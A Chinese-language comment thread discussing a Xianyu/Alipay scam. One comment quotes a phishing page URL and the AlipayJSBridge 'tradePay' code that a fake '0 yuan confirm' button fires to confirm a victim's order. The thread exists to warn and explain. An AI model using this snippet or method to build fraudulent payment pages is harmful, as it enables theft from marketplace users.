一万吨的少女心

有点意思

你的天使

为什么要扫 正儿八经让他上连接就行了或者重拍 怕麻烦的人总会出现意外

回头是岸

防不胜防啊，这年头不懂点计算机技术，都不好意思当pz

yyhmm

真是防不胜防

简简单单

学习了，不能点任何站外链接

piWrih

这个感觉闲鱼支付宝有点责任

玩坏de皮皮虾

学习了

平平安安

赞同 感觉闲鱼支付宝不完善，算是漏洞了

上善若水

计算机软件大佬

故乡成了远方

一个支付公司，支付有漏洞，看了就是说同样的订单付第二次就会自动确认第一次

好久不见

很奇怪，既然发现了这个洞，为什么不及时堵上呢？

春夏秋冬雨晴天

在 http://kgnb763n.blogqt.gq/index.php 的网页里面通过伪装的 0 元确认按钮事件触发: AlipayJSBridge.call("tradePay", { tradeNO: "2023042622001174211404250439" }, function(result) {});

其中 tradeNO 对应的就是闲鱼的订单号，所以就会出现扫个码就把订单给确认了的情况。

龙脉执手

这种不属于走咸鱼线下直接交易吗。
要是的话 资金应该是冻结状态，找咸鱼客服应该可以退

我的另一

这怎么算线下，提前给个单号过系统流程，再诱骗确认收货

一只鱼ya

我的意思是 确认速度太快 应该会风控